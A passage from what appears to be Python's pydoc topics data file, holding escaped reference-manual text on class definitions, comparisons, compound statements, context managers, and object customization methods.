classname [inheritance] ":" suite\n inheritance ::= "(" [parameter_list] ")"\n classname ::= identifier\n\nA class definition is an executable statement. The inheritance list\nusually gives a list of base classes (see *Customizing class creation*\nfor more advanced uses), so each item in the list should evaluate to a\nclass object which allows subclassing. Classes without an inheritance\nlist inherit, by default, from the base class ``object``; hence,\n\n class Foo:\n pass\n\nis equivalent to\n\n class Foo(object):\n pass\n\nThe class\'s suite is then executed in a new execution frame (see\n*Naming and binding*), using a newly created local namespace and the\noriginal global namespace. (Usually, the suite contains mostly\nfunction definitions.) When the class\'s suite finishes execution, its\nexecution frame is discarded but its local namespace is saved. [4] A\nclass object is then created using the inheritance list for the base\nclasses and the saved local namespace for the attribute dictionary.\nThe class name is bound to this class object in the original local\nnamespace.\n\nClass creation can be customized heavily using *metaclasses*.\n\nClasses can also be decorated: just like when decorating functions,\n\n @f1(arg)\n @f2\n class Foo: pass\n\nis equivalent to\n\n class Foo: pass\n Foo = f1(arg)(f2(Foo))\n\nThe evaluation rules for the decorator expressions are the same as for\nfunction decorators. The result must be a class object, which is then\nbound to the class name.\n\n**Programmer\'s note:** Variables defined in the class definition are\nclass attributes; they are shared by instances. Instance attributes\ncan be set in a method with ``self.name = value``. Both class and\ninstance attributes are accessible through the notation\n"``self.name``", and an instance attribute hides a class attribute\nwith the same name when accessed in this way. Class attributes can be\nused as defaults for instance attributes, but using mutable values\nthere can lead to unexpected results. *Descriptors* can be used to\ncreate instance variables with different implementation details.\n\nSee also:\n\n **PEP 3115** - Metaclasses in Python 3 **PEP 3129** - Class\n Decorators\n\n-[ Footnotes ]-\n\n[1] The exception is propagated to the invocation stack unless there\n is a ``finally`` clause which happens to raise another exception.\n That new exception causes the old one to be lost.\n\n[2] Currently, control "flows off the end" except in the case of an\n exception or the execution of a ``return``, ``continue``, or\n ``break`` statement.\n\n[3] A string literal appearing as the first statement in the function\n body is transformed into the function\'s ``__doc__`` attribute and\n therefore the function\'s *docstring*.\n\n[4] A string literal appearing as the first statement in the class\n body is transformed into the namespace\'s ``__doc__`` item and\n therefore the class\'s *docstring*.\n', 'comparisons': '\nComparisons\n***********\n\nUnlike C, all comparison operations in Python have the same priority,\nwhich is lower than that of any arithmetic, shifting or bitwise\noperation. Also unlike C, expressions like ``a < b < c`` have the\ninterpretation that is conventional in mathematics:\n\n comparison ::= or_expr ( comp_operator or_expr )*\n comp_operator ::= "<" | ">" | "==" | ">=" | "<=" | "!="\n | "is" ["not"] | ["not"] "in"\n\nComparisons yield boolean values: ``True`` or ``False``.\n\nComparisons can be chained arbitrarily, e.g., ``x < y <= z`` is\nequivalent to ``x < y and y <= z``, except that ``y`` is evaluated\nonly once (but in both cases ``z`` is not evaluated at all when ``x <\ny`` is found to be false).\n\nFormally, if *a*, *b*, *c*, ..., *y*, *z* are expressions and *op1*,\n*op2*, ..., *opN* are comparison operators, then ``a op1 b op2 c ... y\nopN z`` is equivalent to ``a op1 b and b op2 c and ... y opN z``,\nexcept that each expression is evaluated at most once.\n\nNote that ``a op1 b op2 c`` doesn\'t imply any kind of comparison\nbetween *a* and *c*, so that, e.g., ``x < y > z`` is perfectly legal\n(though perhaps not pretty).\n\nThe operators ``<``, ``>``, ``==``, ``>=``, ``<=``, and ``!=`` compare\nthe values of two objects. The objects need not have the same type.\nIf both are numbers, they are converted to a common type. Otherwise,\nthe ``==`` and ``!=`` operators *always* consider objects of different\ntypes to be unequal, while the ``<``, ``>``, ``>=`` and ``<=``\noperators raise a ``TypeError`` when comparing objects of different\ntypes that do not implement these operators for the given pair of\ntypes. You can control comparison behavior of objects of non-built-in\ntypes by defining rich comparison methods like ``__gt__()``, described\nin section *Basic customization*.\n\nComparison of objects of the same type depends on the type:\n\n* Numbers are compared arithmetically.\n\n* The values ``float(\'NaN\')`` and ``Decimal(\'NaN\')`` are special. The\n are identical to themselves, ``x is x`` but are not equal to\n themselves, ``x != x``. Additionally, comparing any value to a\n not-a-number value will return ``False``. For example, both ``3 <\n float(\'NaN\')`` and ``float(\'NaN\') < 3`` will return ``False``.\n\n* Bytes objects are compared lexicographically using the numeric\n values of their elements.\n\n* Strings are compared lexicographically using the numeric equivalents\n (the result of the built-in function ``ord()``) of their characters.\n [3] String and bytes object can\'t be compared!\n\n* Tuples and lists are compared lexicographically using comparison of\n corresponding elements. This means that to compare equal, each\n element must compare equal and the two sequences must be of the same\n type and have the same length.\n\n If not equal, the sequences are ordered the same as their first\n differing elements. For example, ``[1,2,x] <= [1,2,y]`` has the\n same value as ``x <= y``. If the corresponding element does not\n exist, the shorter sequence is ordered first (for example, ``[1,2] <\n [1,2,3]``).\n\n* Mappings (dictionaries) compare equal if and only if they have the\n same ``(key, value)`` pairs. Order comparisons ``(\'<\', \'<=\', \'>=\',\n \'>\')`` raise ``TypeError``.\n\n* Sets and frozensets define comparison operators to mean subset and\n superset tests. Those relations do not define total orderings (the\n two sets ``{1,2}`` and {2,3} are not equal, nor subsets of one\n another, nor supersets of one another). Accordingly, sets are not\n appropriate arguments for functions which depend on total ordering.\n For example, ``min()``, ``max()``, and ``sorted()`` produce\n undefined results given a list of sets as inputs.\n\n* Most other objects of built-in types compare unequal unless they are\n the same object; the choice whether one object is considered smaller\n or larger than another one is made arbitrarily but consistently\n within one execution of a program.\n\nComparison of objects of the differing types depends on whether either\nof the types provide explicit support for the comparison. Most\nnumeric types can be compared with one another. When cross-type\ncomparison is not supported, the comparison method returns\n``NotImplemented``.\n\nThe operators ``in`` and ``not in`` test for membership. ``x in s``\nevaluates to true if *x* is a member of *s*, and false otherwise. ``x\nnot in s`` returns the negation of ``x in s``. All built-in sequences\nand set types support this as well as dictionary, for which ``in``\ntests whether a the dictionary has a given key. For container types\nsuch as list, tuple, set, frozenset, dict, or collections.deque, the\nexpression ``x in y`` is equivalent to ``any(x is e or x == e for e in\ny)``.\n\nFor the string and bytes types, ``x in y`` is true if and only if *x*\nis a substring of *y*. An equivalent test is ``y.find(x) != -1``.\nEmpty strings are always considered to be a substring of any other\nstring, so ``"" in "abc"`` will return ``True``.\n\nFor user-defined classes which define the ``__contains__()`` method,\n``x in y`` is true if and only if ``y.__contains__(x)`` is true.\n\nFor user-defined classes which do not define ``__contains__()`` but do\ndefine ``__iter__()``, ``x in y`` is true if some value ``z`` with ``x\n== z`` is produced while iterating over ``y``. If an exception is\nraised during the iteration, it is as if ``in`` raised that exception.\n\nLastly, the old-style iteration protocol is tried: if a class defines\n``__getitem__()``, ``x in y`` is true if and only if there is a non-\nnegative integer index *i* such that ``x == y[i]``, and all lower\ninteger indices do not raise ``IndexError`` exception. (If any other\nexception is raised, it is as if ``in`` raised that exception).\n\nThe operator ``not in`` is defined to have the inverse true value of\n``in``.\n\nThe operators ``is`` and ``is not`` test for object identity: ``x is\ny`` is true if and only if *x* and *y* are the same object. ``x is\nnot y`` yields the inverse truth value. [4]\n', 'compound': '\nCompound statements\n*******************\n\nCompound statements contain (groups of) other statements; they affect\nor control the execution of those other statements in some way. In\ngeneral, compound statements span multiple lines, although in simple\nincarnations a whole compound statement may be contained in one line.\n\nThe ``if``, ``while`` and ``for`` statements implement traditional\ncontrol flow constructs. ``try`` specifies exception handlers and/or\ncleanup code for a group of statements, while the ``with`` statement\nallows the execution of initialization and finalization code around a\nblock of code. Function and class definitions are also syntactically\ncompound statements.\n\nCompound statements consist of one or more \'clauses.\' A clause\nconsists of a header and a \'suite.\' The clause headers of a\nparticular compound statement are all at the same indentation level.\nEach clause header begins with a uniquely identifying keyword and ends\nwith a colon. A suite is a group of statements controlled by a\nclause. A suite can be one or more semicolon-separated simple\nstatements on the same line as the header, following the header\'s\ncolon, or it can be one or more indented statements on subsequent\nlines. Only the latter form of suite can contain nested compound\nstatements; the following is illegal, mostly because it wouldn\'t be\nclear to which ``if`` clause a following ``else`` clause would belong:\n\n if test1: if test2: print(x)\n\nAlso note that the semicolon binds tighter than the colon in this\ncontext, so that in the following example, either all or none of the\n``print()`` calls are executed:\n\n if x < y < z: print(x); print(y); print(z)\n\nSummarizing:\n\n compound_stmt ::= if_stmt\n | while_stmt\n | for_stmt\n | try_stmt\n | with_stmt\n | funcdef\n | classdef\n suite ::= stmt_list NEWLINE | NEWLINE INDENT statement+ DEDENT\n statement ::= stmt_list NEWLINE | compound_stmt\n stmt_list ::= simple_stmt (";" simple_stmt)* [";"]\n\nNote that statements always end in a ``NEWLINE`` possibly followed by\na ``DEDENT``. Also note that optional continuation clauses always\nbegin with a keyword that cannot start a statement, thus there are no\nambiguities (the \'dangling ``else``\' problem is solved in Python by\nrequiring nested ``if`` statements to be indented).\n\nThe formatting of the grammar rules in the following sections places\neach clause on a separate line for clarity.\n\n\nThe ``if`` statement\n====================\n\nThe ``if`` statement is used for conditional execution:\n\n if_stmt ::= "if" expression ":" suite\n ( "elif" expression ":" suite )*\n ["else" ":" suite]\n\nIt selects exactly one of the suites by evaluating the expressions one\nby one until one is found to be true (see section *Boolean operations*\nfor the definition of true and false); then that suite is executed\n(and no other part of the ``if`` statement is executed or evaluated).\nIf all expressions are false, the suite of the ``else`` clause, if\npresent, is executed.\n\n\nThe ``while`` statement\n=======================\n\nThe ``while`` statement is used for repeated execution as long as an\nexpression is true:\n\n while_stmt ::= "while" expression ":" suite\n ["else" ":" suite]\n\nThis repeatedly tests the expression and, if it is true, executes the\nfirst suite; if the expression is false (which may be the first time\nit is tested) the suite of the ``else`` clause, if present, is\nexecuted and the loop terminates.\n\nA ``break`` statement executed in the first suite terminates the loop\nwithout executing the ``else`` clause\'s suite. A ``continue``\nstatement executed in the first suite skips the rest of the suite and\ngoes back to testing the expression.\n\n\nThe ``for`` statement\n=====================\n\nThe ``for`` statement is used to iterate over the elements of a\nsequence (such as a string, tuple or list) or other iterable object:\n\n for_stmt ::= "for" target_list "in" expression_list ":" suite\n ["else" ":" suite]\n\nThe expression list is evaluated once; it should yield an iterable\nobject. An iterator is created for the result of the\n``expression_list``. The suite is then executed once for each item\nprovided by the iterator, in the order of ascending indices. Each\nitem in turn is assigned to the target list using the standard rules\nfor assignments (see *Assignment statements*), and then the suite is\nexecuted. When the items are exhausted (which is immediately when the\nsequence is empty or an iterator raises a ``StopIteration``\nexception), the suite in the ``else`` clause, if present, is executed,\nand the loop terminates.\n\nA ``break`` statement executed in the first suite terminates the loop\nwithout executing the ``else`` clause\'s suite. A ``continue``\nstatement executed in the first suite skips the rest of the suite and\ncontinues with the next item, or with the ``else`` clause if there was\nno next item.\n\nThe suite may assign to the variable(s) in the target list; this does\nnot affect the next item assigned to it.\n\nNames in the target list are not deleted when the loop is finished,\nbut if the sequence is empty, it will not have been assigned to at all\nby the loop. Hint: the built-in function ``range()`` returns an\niterator of integers suitable to emulate the effect of Pascal\'s ``for\ni := a to b do``; e.g., ``list(range(3))`` returns the list ``[0, 1,\n2]``.\n\nNote: There is a subtlety when the sequence is being modified by the loop\n (this can only occur for mutable sequences, i.e. lists). An\n internal counter is used to keep track of which item is used next,\n and this is incremented on each iteration. When this counter has\n reached the length of the sequence the loop terminates. This means\n that if the suite deletes the current (or a previous) item from the\n sequence, the next item will be skipped (since it gets the index of\n the current item which has already been treated). Likewise, if the\n suite inserts an item in the sequence before the current item, the\n current item will be treated again the next time through the loop.\n This can lead to nasty bugs that can be avoided by making a\n temporary copy using a slice of the whole sequence, e.g.,\n\n for x in a[:]:\n if x < 0: a.remove(x)\n\n\nThe ``try`` statement\n=====================\n\nThe ``try`` statement specifies exception handlers and/or cleanup code\nfor a group of statements:\n\n try_stmt ::= try1_stmt | try2_stmt\n try1_stmt ::= "try" ":" suite\n ("except" [expression ["as" target]] ":" suite)+\n ["else" ":" suite]\n ["finally" ":" suite]\n try2_stmt ::= "try" ":" suite\n "finally" ":" suite\n\nThe ``except`` clause(s) specify one or more exception handlers. When\nno exception occurs in the ``try`` clause, no exception handler is\nexecuted. When an exception occurs in the ``try`` suite, a search for\nan exception handler is started. This search inspects the except\nclauses in turn until one is found that matches the exception. An\nexpression-less except clause, if present, must be last; it matches\nany exception. For an except clause with an expression, that\nexpression is evaluated, and the clause matches the exception if the\nresulting object is "compatible" with the exception. An object is\ncompatible with an exception if it is the class or a base class of the\nexception object or a tuple containing an item compatible with the\nexception.\n\nIf no except clause matches the exception, the search for an exception\nhandler continues in the surrounding code and on the invocation stack.\n[1]\n\nIf the evaluation of an expression in the header of an except clause\nraises an exception, the original search for a handler is canceled and\na search starts for the new exception in the surrounding code and on\nthe call stack (it is treated as if the entire ``try`` statement\nraised the exception).\n\nWhen a matching except clause is found, the exception is assigned to\nthe target specified after the ``as`` keyword in that except clause,\nif present, and the except clause\'s suite is executed. All except\nclauses must have an executable block. When the end of this block is\nreached, execution continues normally after the entire try statement.\n(This means that if two nested handlers exist for the same exception,\nand the exception occurs in the try clause of the inner handler, the\nouter handler will not handle the exception.)\n\nWhen an exception has been assigned using ``as target``, it is cleared\nat the end of the except clause. This is as if\n\n except E as N:\n foo\n\nwas translated to\n\n except E as N:\n try:\n foo\n finally:\n del N\n\nThis means the exception must be assigned to a different name to be\nable to refer to it after the except clause. Exceptions are cleared\nbecause with the traceback attached to them, they form a reference\ncycle with the stack frame, keeping all locals in that frame alive\nuntil the next garbage collection occurs.\n\nBefore an except clause\'s suite is executed, details about the\nexception are stored in the ``sys`` module and can be access via\n``sys.exc_info()``. ``sys.exc_info()`` returns a 3-tuple consisting of\nthe exception class, the exception instance and a traceback object\n(see section *The standard type hierarchy*) identifying the point in\nthe program where the exception occurred. ``sys.exc_info()`` values\nare restored to their previous values (before the call) when returning\nfrom a function that handled an exception.\n\nThe optional ``else`` clause is executed if and when control flows off\nthe end of the ``try`` clause. [2] Exceptions in the ``else`` clause\nare not handled by the preceding ``except`` clauses.\n\nIf ``finally`` is present, it specifies a \'cleanup\' handler. The\n``try`` clause is executed, including any ``except`` and ``else``\nclauses. If an exception occurs in any of the clauses and is not\nhandled, the exception is temporarily saved. The ``finally`` clause is\nexecuted. If there is a saved exception it is re-raised at the end of\nthe ``finally`` clause. If the ``finally`` clause raises another\nexception, the saved exception is set as the context of the new\nexception. If the ``finally`` clause executes a ``return`` or\n``break`` statement, the saved exception is discarded:\n\n def f():\n try:\n 1/0\n finally:\n return 42\n\n >>> f()\n 42\n\nThe exception information is not available to the program during\nexecution of the ``finally`` clause.\n\nWhen a ``return``, ``break`` or ``continue`` statement is executed in\nthe ``try`` suite of a ``try``...``finally`` statement, the\n``finally`` clause is also executed \'on the way out.\' A ``continue``\nstatement is illegal in the ``finally`` clause. (The reason is a\nproblem with the current implementation --- this restriction may be\nlifted in the future).\n\nAdditional information on exceptions can be found in section\n*Exceptions*, and information on using the ``raise`` statement to\ngenerate exceptions may be found in section *The raise statement*.\n\n\nThe ``with`` statement\n======================\n\nThe ``with`` statement is used to wrap the execution of a block with\nmethods defined by a context manager (see section *With Statement\nContext Managers*). This allows common\n``try``...``except``...``finally`` usage patterns to be encapsulated\nfor convenient reuse.\n\n with_stmt ::= "with" with_item ("," with_item)* ":" suite\n with_item ::= expression ["as" target]\n\nThe execution of the ``with`` statement with one "item" proceeds as\nfollows:\n\n1. The context expression (the expression given in the ``with_item``)\n is evaluated to obtain a context manager.\n\n2. The context manager\'s ``__exit__()`` is loaded for later use.\n\n3. The context manager\'s ``__enter__()`` method is invoked.\n\n4. If a target was included in the ``with`` statement, the return\n value from ``__enter__()`` is assigned to it.\n\n Note: The ``with`` statement guarantees that if the ``__enter__()``\n method returns without an error, then ``__exit__()`` will always\n be called. Thus, if an error occurs during the assignment to the\n target list, it will be treated the same as an error occurring\n within the suite would be. See step 6 below.\n\n5. The suite is executed.\n\n6. The context manager\'s ``__exit__()`` method is invoked. If an\n exception caused the suite to be exited, its type, value, and\n traceback are passed as arguments to ``__exit__()``. Otherwise,\n three ``None`` arguments are supplied.\n\n If the suite was exited due to an exception, and the return value\n from the ``__exit__()`` method was false, the exception is\n reraised. If the return value was true, the exception is\n suppressed, and execution continues with the statement following\n the ``with`` statement.\n\n If the suite was exited for any reason other than an exception, the\n return value from ``__exit__()`` is ignored, and execution proceeds\n at the normal location for the kind of exit that was taken.\n\nWith more than one item, the context managers are processed as if\nmultiple ``with`` statements were nested:\n\n with A() as a, B() as b:\n suite\n\nis equivalent to\n\n with A() as a:\n with B() as b:\n suite\n\nChanged in version 3.1: Support for multiple context expressions.\n\nSee also:\n\n **PEP 0343** - The "with" statement\n The specification, background, and examples for the Python\n ``with`` statement.\n\n\nFunction definitions\n====================\n\nA function definition defines a user-defined function object (see\nsection *The standard type hierarchy*):\n\n funcdef ::= [decorators] "def" funcname "(" [parameter_list] ")" ["->" expression] ":" suite\n decorators ::= decorator+\n decorator ::= "@" dotted_name ["(" [parameter_list [","]] ")"] NEWLINE\n dotted_name ::= identifier ("." identifier)*\n parameter_list ::= (defparameter ",")*\n ( "*" [parameter] ("," defparameter)* ["," "**" parameter]\n | "**" parameter\n | defparameter [","] )\n parameter ::= identifier [":" expression]\n defparameter ::= parameter ["=" expression]\n funcname ::= identifier\n\nA function definition is an executable statement. Its execution binds\nthe function name in the current local namespace to a function object\n(a wrapper around the executable code for the function). This\nfunction object contains a reference to the current global namespace\nas the global namespace to be used when the function is called.\n\nThe function definition does not execute the function body; this gets\nexecuted only when the function is called. [3]\n\nA function definition may be wrapped by one or more *decorator*\nexpressions. Decorator expressions are evaluated when the function is\ndefined, in the scope that contains the function definition. The\nresult must be a callable, which is invoked with the function object\nas the only argument. The returned value is bound to the function name\ninstead of the function object. Multiple decorators are applied in\nnested fashion. For example, the following code\n\n @f1(arg)\n @f2\n def func(): pass\n\nis equivalent to\n\n def func(): pass\n func = f1(arg)(f2(func))\n\nWhen one or more *parameters* have the form *parameter* ``=``\n*expression*, the function is said to have "default parameter values."\nFor a parameter with a default value, the corresponding *argument* may\nbe omitted from a call, in which case the parameter\'s default value is\nsubstituted. If a parameter has a default value, all following\nparameters up until the "``*``" must also have a default value ---\nthis is a syntactic restriction that is not expressed by the grammar.\n\n**Default parameter values are evaluated when the function definition\nis executed.** This means that the expression is evaluated once, when\nthe function is defined, and that the same "pre-computed" value is\nused for each call. This is especially important to understand when a\ndefault parameter is a mutable object, such as a list or a dictionary:\nif the function modifies the object (e.g. by appending an item to a\nlist), the default value is in effect modified. This is generally not\nwhat was intended. A way around this is to use ``None`` as the\ndefault, and explicitly test for it in the body of the function, e.g.:\n\n def whats_on_the_telly(penguin=None):\n if penguin is None:\n penguin = []\n penguin.append("property of the zoo")\n return penguin\n\nFunction call semantics are described in more detail in section\n*Calls*. A function call always assigns values to all parameters\nmentioned in the parameter list, either from position arguments, from\nkeyword arguments, or from default values. If the form\n"``*identifier``" is present, it is initialized to a tuple receiving\nany excess positional parameters, defaulting to the empty tuple. If\nthe form "``**identifier``" is present, it is initialized to a new\ndictionary receiving any excess keyword arguments, defaulting to a new\nempty dictionary. Parameters after "``*``" or "``*identifier``" are\nkeyword-only parameters and may only be passed used keyword arguments.\n\nParameters may have annotations of the form "``: expression``"\nfollowing the parameter name. Any parameter may have an annotation\neven those of the form ``*identifier`` or ``**identifier``. Functions\nmay have "return" annotation of the form "``-> expression``" after the\nparameter list. These annotations can be any valid Python expression\nand are evaluated when the function definition is executed.\nAnnotations may be evaluated in a different order than they appear in\nthe source code. The presence of annotations does not change the\nsemantics of a function. The annotation values are available as\nvalues of a dictionary keyed by the parameters\' names in the\n``__annotations__`` attribute of the function object.\n\nIt is also possible to create anonymous functions (functions not bound\nto a name), for immediate use in expressions. This uses lambda forms,\ndescribed in section *Lambdas*. Note that the lambda form is merely a\nshorthand for a simplified function definition; a function defined in\na "``def``" statement can be passed around or assigned to another name\njust like a function defined by a lambda form. The "``def``" form is\nactually more powerful since it allows the execution of multiple\nstatements and annotations.\n\n**Programmer\'s note:** Functions are first-class objects. A "``def``"\nform executed inside a function definition defines a local function\nthat can be returned or passed around. Free variables used in the\nnested function can access the local variables of the function\ncontaining the def. See section *Naming and binding* for details.\n\nSee also:\n\n **PEP 3107** - Function Annotations\n The original specification for function annotations.\n\n\nClass definitions\n=================\n\nA class definition defines a class object (see section *The standard\ntype hierarchy*):\n\n classdef ::= [decorators] "class" classname [inheritance] ":" suite\n inheritance ::= "(" [parameter_list] ")"\n classname ::= identifier\n\nA class definition is an executable statement. The inheritance list\nusually gives a list of base classes (see *Customizing class creation*\nfor more advanced uses), so each item in the list should evaluate to a\nclass object which allows subclassing. Classes without an inheritance\nlist inherit, by default, from the base class ``object``; hence,\n\n class Foo:\n pass\n\nis equivalent to\n\n class Foo(object):\n pass\n\nThe class\'s suite is then executed in a new execution frame (see\n*Naming and binding*), using a newly created local namespace and the\noriginal global namespace. (Usually, the suite contains mostly\nfunction definitions.) When the class\'s suite finishes execution, its\nexecution frame is discarded but its local namespace is saved. [4] A\nclass object is then created using the inheritance list for the base\nclasses and the saved local namespace for the attribute dictionary.\nThe class name is bound to this class object in the original local\nnamespace.\n\nClass creation can be customized heavily using *metaclasses*.\n\nClasses can also be decorated: just like when decorating functions,\n\n @f1(arg)\n @f2\n class Foo: pass\n\nis equivalent to\n\n class Foo: pass\n Foo = f1(arg)(f2(Foo))\n\nThe evaluation rules for the decorator expressions are the same as for\nfunction decorators. The result must be a class object, which is then\nbound to the class name.\n\n**Programmer\'s note:** Variables defined in the class definition are\nclass attributes; they are shared by instances. Instance attributes\ncan be set in a method with ``self.name = value``. Both class and\ninstance attributes are accessible through the notation\n"``self.name``", and an instance attribute hides a class attribute\nwith the same name when accessed in this way. Class attributes can be\nused as defaults for instance attributes, but using mutable values\nthere can lead to unexpected results. *Descriptors* can be used to\ncreate instance variables with different implementation details.\n\nSee also:\n\n **PEP 3115** - Metaclasses in Python 3 **PEP 3129** - Class\n Decorators\n\n-[ Footnotes ]-\n\n[1] The exception is propagated to the invocation stack unless there\n is a ``finally`` clause which happens to raise another exception.\n That new exception causes the old one to be lost.\n\n[2] Currently, control "flows off the end" except in the case of an\n exception or the execution of a ``return``, ``continue``, or\n ``break`` statement.\n\n[3] A string literal appearing as the first statement in the function\n body is transformed into the function\'s ``__doc__`` attribute and\n therefore the function\'s *docstring*.\n\n[4] A string literal appearing as the first statement in the class\n body is transformed into the namespace\'s ``__doc__`` item and\n therefore the class\'s *docstring*.\n', 'context-managers': '\nWith Statement Context Managers\n*******************************\n\nA *context manager* is an object that defines the runtime context to\nbe established when executing a ``with`` statement. The context\nmanager handles the entry into, and the exit from, the desired runtime\ncontext for the execution of the block of code. Context managers are\nnormally invoked using the ``with`` statement (described in section\n*The with statement*), but can also be used by directly invoking their\nmethods.\n\nTypical uses of context managers include saving and restoring various\nkinds of global state, locking and unlocking resources, closing opened\nfiles, etc.\n\nFor more information on context managers, see *Context Manager Types*.\n\nobject.__enter__(self)\n\n Enter the runtime context related to this object. The ``with``\n statement will bind this method\'s return value to the target(s)\n specified in the ``as`` clause of the statement, if any.\n\nobject.__exit__(self, exc_type, exc_value, traceback)\n\n Exit the runtime context related to this object. The parameters\n describe the exception that caused the context to be exited. If the\n context was exited without an exception, all three arguments will\n be ``None``.\n\n If an exception is supplied, and the method wishes to suppress the\n exception (i.e., prevent it from being propagated), it should\n return a true value. Otherwise, the exception will be processed\n normally upon exit from this method.\n\n Note that ``__exit__()`` methods should not reraise the passed-in\n exception; this is the caller\'s responsibility.\n\nSee also:\n\n **PEP 0343** - The "with" statement\n The specification, background, and examples for the Python\n ``with`` statement.\n', 'continue': '\nThe ``continue`` statement\n**************************\n\n continue_stmt ::= "continue"\n\n``continue`` may only occur syntactically nested in a ``for`` or\n``while`` loop, but not nested in a function or class definition or\n``finally`` clause within that loop. It continues with the next cycle\nof the nearest enclosing loop.\n\nWhen ``continue`` passes control out of a ``try`` statement with a\n``finally`` clause, that ``finally`` clause is executed before really\nstarting the next loop cycle.\n', 'conversions': '\nArithmetic conversions\n**********************\n\nWhen a description of an arithmetic operator below uses the phrase\n"the numeric arguments are converted to a common type," this means\nthat the operator implementation for built-in types works that way:\n\n* If either argument is a complex number, the other is converted to\n complex;\n\n* otherwise, if either argument is a floating point number, the other\n is converted to floating point;\n\n* otherwise, both must be integers and no conversion is necessary.\n\nSome additional rules apply for certain operators (e.g., a string left\nargument to the \'%\' operator). Extensions must define their own\nconversion behavior.\n', 'customization': '\nBasic customization\n*******************\n\nobject.__new__(cls[, ...])\n\n Called to create a new instance of class *cls*. ``__new__()`` is a\n static method (special-cased so you need not declare it as such)\n that takes the class of which an instance was requested as its\n first argument. The remaining arguments are those passed to the\n object constructor expression (the call to the class). The return\n value of ``__new__()`` should be the new object instance (usually\n an instance of *cls*).\n\n Typical implementations create a new instance of the class by\n invoking the superclass\'s ``__new__()`` method using\n ``super(currentclass, cls).__new__(cls[, ...])`` with appropriate\n arguments and then modifying the newly-created instance as\n necessary before returning it.\n\n If ``__new__()`` returns an instance of *cls*, then the new\n instance\'s ``__init__()`` method will be invoked like\n ``__init__(self[, ...])``, where *self* is the new instance and the\n remaining arguments are the same as were passed to ``__new__()``.\n\n If ``__new__()`` does not return an instance of *cls*, then the new\n instance\'s ``__init__()`` method will not be invoked.\n\n ``__new__()`` is intended mainly to allow subclasses of immutable\n types (like int, str, or tuple) to customize instance creation. It\n is also commonly overridden in custom metaclasses in order to\n customize class creation.\n\nobject.__init__(self[, ...])\n\n Called when the instance is created. The arguments are those\n passed to the class constructor expression. If a base class has an\n ``__init__()`` method, the derived class\'s ``__init__()`` method,\n if any, must explicitly call it to ensure proper initialization of\n the base class part of the instance; for example:\n ``BaseClass.__init__(self, [args...])``. As a special constraint\n on constructors, no value may be returned; doing so will cause a\n ``TypeError`` to be raised at runtime.\n\nobject.__del__(self)\n\n Called when the instance is about to be destroyed. This is also\n called a destructor. If a base class has a ``__del__()`` method,\n the derived class\'s ``__del__()`` method, if any, must explicitly\n call it to ensure proper deletion of the base class part of the\n instance. Note that it is possible (though not recommended!) for\n the ``__del__()`` method to postpone destruction of the instance by\n creating a new reference to it. It may then be called at a later\n time when this new reference is deleted. It is not guaranteed that\n ``__del__()`` methods are called for objects that still exist when\n the interpreter exits.\n\n Note: ``del x`` doesn\'t directly call ``x.__del__()`` --- the former\n decrements the reference count for ``x`` by one, and the latter\n is only called when ``x``\'s reference count reaches zero. Some\n common situations that may prevent the reference count of an\n object from going to zero include: circular references between\n objects (e.g., a doubly-linked list or a tree data structure with\n parent and child pointers); a reference to the object on the\n stack frame of a function that caught an exception (the traceback\n stored in ``sys.exc_info()[2]`` keeps the stack frame alive); or\n a reference to the object on the stack frame that raised an\n unhandled exception in interactive mode (the traceback stored in\n ``sys.last_traceback`` keeps the stack frame alive). The first\n situation can only be remedied by explicitly breaking the cycles;\n the latter two situations can be resolved by storing ``None`` in\n ``sys.last_traceback``. Circular references which are garbage are\n detected when the option cycle detector is enabled (it\'s on by\n default), but can only be cleaned up if there are no Python-\n level ``__del__()`` methods involved. Refer to the documentation\n for the ``gc`` module for more information about how\n ``__del__()`` methods are handled by the cycle detector,\n particularly the description of the ``garbage`` value.\n\n Warning: Due to the precarious circumstances under which ``__del__()``\n methods are invoked, exceptions that occur during their execution\n are ignored, and a warning is printed to ``sys.stderr`` instead.\n Also, when ``__del__()`` is invoked in response to a module being\n deleted (e.g., when execution of the program is done), other\n globals referenced by the ``__del__()`` method may already have\n been deleted or in the process of being torn down (e.g. the\n import machinery shutting down). For this reason, ``__del__()``\n methods should do the absolute minimum needed to maintain\n external invariants. Starting with version 1.5, Python\n guarantees that globals whose name begins with a single\n underscore are deleted from their module before other globals are\n deleted; if no other references to such globals exist, this may\n help in assuring that imported modules are still available at the\n time when the ``__del__()`` method is called.\n\nobject.__repr__(self)\n\n Called by the ``repr()`` built-in function to compute the\n "official" string representation of an object. If at all possible,\n this should look like a valid Python expression that could be used\n to recreate an object with the same value (given an appropriate\n environment). If this is not possible, a string of the form\n ``<...some useful description...>`` should be returned. The return\n value must be a string object. If a class defines ``__repr__()``\n but not ``__str__()``, then ``__repr__()`` is also used when an\n "informal" string representation of instances of that class is\n required.\n\n This is typically used for debugging, so it is important that the\n representation is information-rich and unambiguous.\n\nobject.__str__(self)\n\n Called by ``str(object)`` and the built-in functions ``format()``\n and ``print()`` to compute the "informal" or nicely printable\n string representation of an object. The return value must be a\n *string* object.\n\n This method differs from ``object.__repr__()`` in that there is no\n expectation that ``__str__()`` return a valid Python expression: a\n more convenient or concise representation can be used.\n\n The default implementation defined by the built-in type ``object``\n calls ``object.__repr__()``.\n\nobject.__bytes__(self)\n\n Called by ``bytes()`` to compute a byte-string representation of an\n object. This should return a ``bytes`` object.\n\nobject.__format__(self, format_spec)\n\n Called by the ``format()`` built-in function (and by extension, the\n ``str.format()`` method of class ``str``) to produce a "formatted"\n string representation of an object. The ``format_spec`` argument is\n a string that contains a description of the formatting options\n desired. The interpretation of the ``format_spec`` argument is up\n to the type implementing ``__format__()``, however most classes\n will either delegate formatting to one of the built-in types, or\n use a similar formatting option syntax.\n\n See *Format Specification Mini-Language* for a description of the\n standard formatting syntax.\n\n The return value must be a string object.\n\nobject.__lt__(self, other)\nobject.__le__(self, other)\nobject.__eq__(self, other)\nobject.__ne__(self, other)\nobject.__gt__(self, other)\nobject.__ge__(self, other)\n\n These are the so-called "rich comparison" methods. The\n correspondence between operator symbols and method names is as\n follows: ``x<y`` calls ``x.__lt__(y)``, ``x<=y`` calls\n ``x.__le__(y)``, ``x==y`` calls ``x.__eq__(y)``, ``x!=y`` calls\n ``x.__ne__(y)``, ``x>y`` calls ``x.__gt__(y)``, and ``x>=y`` calls\n ``x.__ge__(y)``.\n\n A rich comparison method may return the singleton\n ``NotImplemented`` if it does not implement the operation for a\n given pair of arguments. By convention, ``False`` and ``True`` are\n returned for a successful comparison. However, these methods can\n return any value, so if the comparison operator is used in a\n Boolean context (e.g., in the condition of an ``if`` 